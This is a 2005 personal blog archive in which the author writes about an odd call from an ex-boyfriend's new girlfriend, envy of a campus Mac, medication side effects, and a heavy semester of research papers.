I’m guessing that my letter didn’t go over so well or something, not sure. Who knows what can of worms that opened, perhaps it would have worked out a bit differently if I’d been emailed first. Cause really, calling me is always a bad idea. Email, that I can deal with and respond to in a possibly more reasonable manner.

This still amuses me. And I’m not sure what to even think on the car comment. Either the gal is just being catty or the ex is telling short ended or creative tales to avoid looking like an asshole. Oh well, I know the car is mine and free and clear of all monies owed. And, I know that the circumstances surrounding that decision/agreement certainly isn’t something I’d be airing out to my current honey, at least not in the middle of bouts of insecurity. Intriguing tales of past illicit behavior, lying, and deception are far more suited to stable points in a relationship.

One last note: stuff with the ex fizzled out a long time ago. I have no more residual anger or angst regarding the entire situation. Everything ended badly, in my view, but that is just how things happen sometimes. In fact, I humor the idea of being quasi-friends with him on some far-removed, beyond arms-length-distanced scale. But, that just might be to see just how life is actually working out, or not working out; far more a mild amusement than real interest.

February 22, 2005

crazy chicks

Filed under: unlisted — suzanne henderson @ 10:10 pm

I got the strangest voicemail today. I missed two calls from a 262 area code; it took me a while to remember that 262 is a Wisconsin area code, how interesting. The second time the person left a message. If it’d rang a third time, I was planning to answer it in hopes that it would be someone like [BobbyG], I think I’m glad that I didn’t… Or would it have been more fun if I did?

It seems that this girl is calling me from Wisconsin cause her boyfriend was looking at my website. She wanted to know why. Hmmm, now lets see, aww yes… it makes perfect sense to call up the owners of individual websites and ask them why someone else is looking at their site. It’s a fucking website, sheesh, people look at them from time to time and I can’t say why. Hell, I don’t even know why I post, much less why someone reads it.

Now, there was one additional amusement to the whole thing. She is the current girlfriend of an ex-boyfriend of mine, one that I spent some time living with in Wisconsin. I manage to exchange email with him about once a year, if even that anymore. But I’ve been able to tell that he has a pretty strong pattern of dating crazy women (yes, it could be said that I fall in that category), but this one really amuses me. I mean, really? Call up someone because your boyfriend is looking at some other woman’s website? Little bit kooky to me.

But a small consideration in her favor. I remember dating him and he certainly gives all sorts of indications and reasons to get to feeling a little insecure and jealous from time to time. Perhaps it is just his manner or maybe it is that he seems enjoy the intimate company of women in addition to the one he is dating. But still, there is a sanity level, or line, that suggests that calling up some woman in Maryland is a little over the top.

mac envy

Filed under: unlisted — suzanne henderson @ 11:57 am

I finally walked into a computer lab on campus. Since I normally bring my laptop, I had no reaso to stroll in here and sit now. And now that i have, I’m jealous. Working on a dual processor G5 with a 15inch flat panel display (or I think that is the size). Mmmm. Not that my laptop has been lacking in any way, nope it is still chugging along, occasionally providing that extreemly annoying popping sound that I know how to solve but am not willing to take it into the shop for… Wow, panic moment, suddenly worried that apple care was a 2 year option and not 3. Okay, panic over. But still, mmmm-machine.

I’m busy, what a surprise. School is going good, no insane personal issues mucking up the waters. Nothing but spending time think, think, thinking.

February 15, 2005

mommy, my head hurts

Filed under: unlisted — suzanne henderson @ 8:41 pm

well, I guess I won’t be whining to my mother about this, but still…. My head is killing me. Chris is putting the dishes away and the clanging of plates is reverberating in my teeth, ouch. I stayed home today and called my doctor to discuss the side effects. I’m dropping the dose down because the headache and other stuff is just too much. I’ve decided to just drop the [topamax] all together because it isn’t worth it at all. Megan and Mark dealt with bringing home dinner since I wasn’t cooking and since I vetoed what Chris was willing to make. Sure is nice having a houseful of people willing to work together on things, so nights I don’t feel like making anything or if I am not feeling good, things still get taken care of.

So, off to read to alex, do a little reading, and then off to sleep. Alex has a dentist appointment to get some xrays done before starting the orthodontist appointments later this week.

February 13, 2005

research galore

Filed under: unlisted — suzanne henderson @ 11:20 am

I’ve been in full research mode this weekend and for good reason: I added up all the pages I have to write this semester and I’m looking at 102 pages of research. I have no time to waste. However, I think today I need to look at making sure I get my reading done for next week instead of burying myself in academic journals, as fun as they are to drown in.

School is moving along fairly smoothly right now. The only hitch is that my doc has notched up one of my meds, the one with the most side effects, to more than double. So, right now I’m struggling with a relentless headache that is unresponsive to pain relief meds and constant nausea. This is the same medication, that combined with a spell of severe depression, that I lost 20 pounds when starting it and was eating less than 2 cups of food a day. So, I’m using my research as a distraction and reminding myself that this will eventually pass, or that it better. I just have to deal with it the best that I can because I can’t afford the distraction; more importantly, I can’t afford a tip of the emotional scales.